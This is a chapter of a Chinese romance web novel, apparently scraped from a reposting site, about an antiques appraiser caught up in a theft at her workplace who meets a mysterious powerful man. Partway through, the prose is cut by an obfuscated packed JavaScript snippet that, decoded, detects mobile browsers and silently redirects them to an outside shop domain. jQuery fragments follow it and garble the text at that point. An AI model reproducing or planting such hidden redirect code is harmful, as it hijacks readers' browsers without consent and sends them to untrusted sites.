《凛冬雾去》文/酥晚
晋江文学城独发
早秋降至,临到傍午白日的暑气稍稍消散,路边国槐树叶随着微风窸窸窣窣地晃动着,斜影裁剪成碎叶落在城墙。
山脚下的一出独栋雅间别墅内,房间每一处摆满了各种价值斐然的藏品,几位身材窈窕的女生穿着同样的裙子聚在落地窗前的桌旁,她们每个人都戴着一副专业特殊材质手套,慢吞吞地擦拭着手中各种各样的古迹。
忽地,尖锐的警鸣声打破了这一切的静谧。
而房间另一端墙角,一位年龄较小的女生紧张的抱着身体缩在那里,仔细看还能看出女孩几乎没有血色的唇瓣,随着窗外的警鸣声打颤。
沈清予穿着高跟鞋出现的那刻,女孩犹如救命恩人似的立马站了起来。
“小云。”她气质清冷,此时又将声音放的很轻,在这紧张的氛围下犹如镇定剂,“过来一下。”
项云没耽误,撑着胳膊站稳后立马走了过去,“姐,我真不知道,那人我不认识。”
她点头,伸手扶着小姑娘朝廊道另一边办公室走去,边温声安抚道:“我跟林哥说了,等会你看见林哥别乱说话,林哥正在气头上。”
林哥全名叫林诏,是品缘阁的老板。据说背靠大树,在北京几乎没人敢动他。
现如今发生盗窃的事情,对林诏来说无疑是在他的地盘上打他的脸。
项云也知道这点,崩溃的无力抱了下眼前女人,嗓音带着呜咽:“我知道姐,你对我的好,我也知道。”
沈清予停下脚步,纤细的指尖轻轻摩挲着女孩后背。
“这几天你因为我回去也晚,每次我都在楼上看到你男朋友在下面等你。”说着,小姑娘像是自责,又哭了起来,“姐……”
对于专业能力极强且长得漂亮的女人,人们往往最关注的便是她的感情状况。
沈清予是前两年毕业来的品缘阁,而对于她的感情状况,早在刚入职那年被问个清楚。公司的人都知道她有个从高三开始谈恋爱的男朋友,那男生长相也极佳,工作体面为人也上进,两人都是属于比较安静的人。
一开始他们还以为像这种,多半出了社会没多久就会分手。
可他们非但没有,并且男生只要工作不忙都会开车过来接沈清予下班,几乎风雨无阻。
项云也知道这点,委屈和自责堆压顿时哭的更凶了。
沈清予无奈,缓缓道:“我平常也都工作很晚,和你没关系。”
“真的吗?”项云半信半疑,过了几秒,又随手擦去眼泪,握拳打气,“走吧姐,我准备好了。”
沈清予撑唇无声安慰,随后陪着女孩朝另一端办公室走去。
微扣的手指敲响木门,紧接着,里面传来温怒的声音。
“进来!”
项云听到腿控制不住发软,沈清予见状立马半揽着她,配合着她小幅度挪动着脚步朝里面走去。
办公室很大,又铺着厚重的地毯,两人几乎走了好长时间。
薄唇微抿,沈清予淡声道:“林哥,和刚所说的一样,项云不认识那人,只以为是晚走的客人恰好问路。”
林诏点头,视线又落在一旁紧张到发抖的小姑娘,发沉嗓音严厉:“项云,你刚来没多久对有些不理解也情理之中,但这件事后果实在太严重。”
“之所以叫你过来,是我相信那人和你没关系,也知道以你的为人不会做这种事情。”
“林哥……”项云像似语无伦次,连忙附和着点头。
“先去忙吧,这几天你也没睡好。”林诏摆摆手,转过身道。
从事发到现在,项云整个人完全处于高度紧绷的状态。
她不敢想,如果真的找不到证据,这价值三千万的窟窿最后会不会由她补上。
沈清予也知道这点,三千万哪怕对于中产家庭压力也不小,更别说普通人。
等项云完全离开身后房门合上后,她抿唇筹思,“林哥,人孰无过。项云刚来没两个月,年纪还小。”
林诏仍旧背过身没理。
瞧着老板布满压力的背影,垂下的指尖微松,沈清予低敛着眼睑没再说话。
而下一秒,林诏转过身,语速极快吩咐:“这件事没那么简单,你等会儿出去跟项云好好说,别让嘴太碎的人知道。还有,这件事她不担责。”
她点头,微张着唇轻声应着:“好,那……”
呼出的尾音还未落下,身后虚掩的房门忽然被敲响。
紧接着,房门被推开,引路的侍应生探头说:“林哥,段二叔来了。”
段二叔……
这个名字对品缘阁众人并不陌生,其中一个原因便是这次丢失的藏品是这位段二叔暂放保存在这里的。
而另一个原因,则是这位客人每次来,都是林哥亲自接待。
刚开始的时候其他同事特别好奇,究竟什么样的背景,能让林哥不论多忙也要亲自去。
后来打听一番,才知道北京有权势的世家只有段家最神秘,尤其是家族最新一任的掌门人,极少出现在大众视野。
尽管工作这么久,沈清予也从未亲眼见过此人。
正想着,门口侍应生忽然退后两步,紧接着,出现一位陌生的男人。
周遭光影晦暗,男人颀长的身影几乎隔绝身后的光线,他身着一袭深色正装,脸部轮廓流畅,尽管戴着一副眼镜,也不难看出阴影下硬朗的眉骨。
难掩的矜贵与强者之气,像是在无形诉说着他不一般的身份。
不知看了多久,直到远处男人深邃的眸色忽然朝这边看来,两人视线在空中毫无预兆的交错,沈清予才反应过来。
意识到刚刚自己的失礼,她收回视线,微颔首同远处男人无声打着招呼。
一旁林诏反应过来,一改先前的温怒,连忙迎了上去,“二叔,您怎么亲自来了。”
段聿憬嗓音平淡,“路过,进来看看。”
他们这块紧挨着山脚,再往上便是新开业不久的度假村。
林诏笑道:“二叔您放心,丢失的物件我肯定能找回来,若有瑕疵都算我的。”
“人找到了?”
“找到了,人已经让警察带走了。”
男人闻言,漫不经心点头,也没再张口搭话。
偌大的房间再次陷入寂静,低垂的眸色思忖了片刻,沈清予上前,轻声道:“林哥,那我先出去了。”
“行,出去吧。”林诏摆摆手,在她将要路过时,像是想起什么,又道:“清予,记得跟项云好好说说。”
高跟鞋踩在地毯上发出沉闷的声响,迈出的脚步稍顿,沈清予微侧身,余光下意识瞥了眼正前方的男人。
也是这一眼,沈清予整个人下意识顿了秒。
和方才那般,男人视线仍落在她身上,只是冷淡的模样让人猜不透一丝情绪,却莫名觉得发怵。
毕竟是她失礼在先。
薄唇紧抿,她垂下眼睫,张唇应道:“好。”
从办公室出来后,抬眸的瞬间正好迎面碰上正朝这边走来的警察。
沈清予调整好仪态,弯唇轻笑着迎了上去。
这次警察来无非是再次确定一下还有没有其他物件丢失,简单沟通一下也就没什么事。
送走警察后时间已经过去了将近半小时,她抿唇看了眼时间,随后朝一旁休息室走去。
天色渐暗,摇曳的枝叶在山间发出呼啸的声响,在这本就较为压抑的环境中,显得格外骇人。
她本能垂眸看了眼时间,快六点了,可外面阴沉的天色,却像是按下了时间加速键。
正想着,隔间传来其他同事闲聊的声音,沈清予抿着唇,侧头朝里面看了眼,发现项云不在里面便抬脚略过了房间。
之后又来到休息室,同样找不到人。
没办法,沈清予拿出手机同项云发了消息将林诏的话转达,又让她先下班回家好好休息一下。
这件事事发突然,从那天起小姑娘一直处于担惊受怕的阶段,怕家里人看出来,甚至这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13710618|144536||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
段时间都住在一旁宿舍楼内。
和项云发完消息后,她便去忙每日收尾工作,清点一下藏室里藏品的数量。
等一切忙完后已经完全过了下班时间,沈清予去休息室换回自己的衣服。
品缘阁对员工要求很严格,不论是专业能力亦或是平日里的仪容仪态,都不能有一丝失误。
她们这一类工作环境本静,周遭装横营造的一点也是如此。未达到极致,就连统一服饰也换成了旗袍改装的样式。
换好衣服,沈清予站在镜子前,仔细整理着每一寸,随后才出门。
傍晚的品缘阁格外静,偌大的四周仿若连喘息声都能听得一清二楚。
身体感观在此刻无限放大,想到前几天发生的事情,也是在这个时间……
蜷着的指尖紧攥着包带,沈清予下意识加快脚步。
独自走在望不到尽头的长廊,临到转角处时,忽然一道成熟的男声涌入耳廓。
悬着的心发紧,她停下脚步,正准备寻找时,那道声音再次传来。
“林总,想跟我做生意?那不是你情我愿的事情。”
男人嗓音冷淡随意,对眼前一切都极为不屑。
视线落在不远处半敞的门旁,白炽灯光乍现。
许是职业操守,沈清予垂下长睫,转身朝另一个方向走去。
没走几步,一道较低的提示音忽然响起。在这寂静的环境中,显得格外刺耳。
她低头看了眼,连忙将手机调成了静音,不禁加快了脚步。直到确定那边听不见声音,她才放慢步调看男友发来的消息。
程旭哲:[清予,我今天不能去接你了,后天要开庭今晚要和老师再捋一下案子。]
程旭哲:[忙到现在才有时间发看手机,对不起清予。]
手机微弱的光线折射在颊边,沈清予不经意弯了弯唇角,回道:[没事的,你最近已经很辛苦了,我打车回去就好。]
消息回完后她顺势收起手机,朝一旁门厅走去。
阴暗的天空刮起一阵狂风,枝叶碰撞发出的声响宛如山间藏匿着野兽,在这夜晚空寂的山脚下,像似带着某种骇人的回声。
沈清予望着眼前淅沥的雨幕,翻滚的乌云似乎下一秒会迎来更大的暴雨。
她低头看了眼打车软件上的排位,还有四十多位,基本都是从度假村上下来的。
可眼下……
视线落在圆柱旁的雨伞,她思忖着撑开。
原本心中摇摆不定要不要冲进雨幕,可当伞面完全打开那刻。瞧着眼前一半破损的伞面,她张了张唇又合上,只是无奈瞥了下唇角。
雨势渐大,斜扫的雨水打湿了一旁裙摆,一时间各种各样的声音也随之传来耳边。
攥着伞柄的指尖暗暗收紧,正当无措之际,忽然一道刺眼的亮光闯入视线。
仅一秒,光线随之变暗,她下意识侧眸望了过去。
瞬间没反应过来,整个人僵滞在原地。
远处一旁空地正停放一辆漆黑的豪车,借着微弱的光影不难看出下面一侧连号车牌。
好似刻意吸引她的注意,在她看去的时候,车辆穿过层层雨幕逆着而来,像似一道逼人的目光,直直地盯着她。
直至漆黑的车辆停在身前挡住她的去路,刹车片的摩擦声响彻在耳边。
刺耳的声音惊动了山间倦鸟,同样也惊到了她。
心似乎跳到了喉咙口,沈清予张着发干的嘴巴,淡然的面色仍强装着镇定。
下一秒,车窗缓缓降下,男人深邃的眸色隔着雨幕落在她湿漉的身上,似在打量。
他神色淡然,可无疑是有震慑力的,莫名让她有种别样的异样。
沈清予不解的眨着眼,攥着伞柄的手指不断收紧,直至泛白没了血色。
她微张着唇角,问:“段……二叔,您有什么事情吗?”
雨声势大,男人的嗓音听不出什么情绪。
唇起张合,段聿憬仍是看着她:“伞坏了,坐我车走吧。”